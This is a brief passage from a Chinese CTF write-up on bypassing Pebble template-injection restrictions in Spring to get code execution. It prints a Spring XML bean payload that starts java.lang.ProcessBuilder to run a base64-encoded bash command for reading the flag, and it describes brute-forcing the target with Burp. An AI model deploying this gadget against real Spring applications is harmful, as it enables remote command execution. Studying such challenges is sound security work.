Spring 场景下突破 pebble 模板注入限制( 五 )

本地弹出了计算器,那么现在则可以开始着手解题了,
构造命令 ./getflag > /tmp/flag
<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg ><list><value>bash</value><value>-c</value><value>echo Li9nZXRmbGFnID4gL3RtcC9mbGFn|base64 -d|bash -i</value></list></constructor-arg></bean></beans>先用burp狂轰乱炸,看到页面有回显的说明执行成功

Spring 场景下突破 pebble 模板注入限制

文章插图
 
再包含进来就ok了
Spring 场景下突破 pebble 模板注入限制

文章插图
 
原文链接:
https://f5.pm/go-121363.html




推荐阅读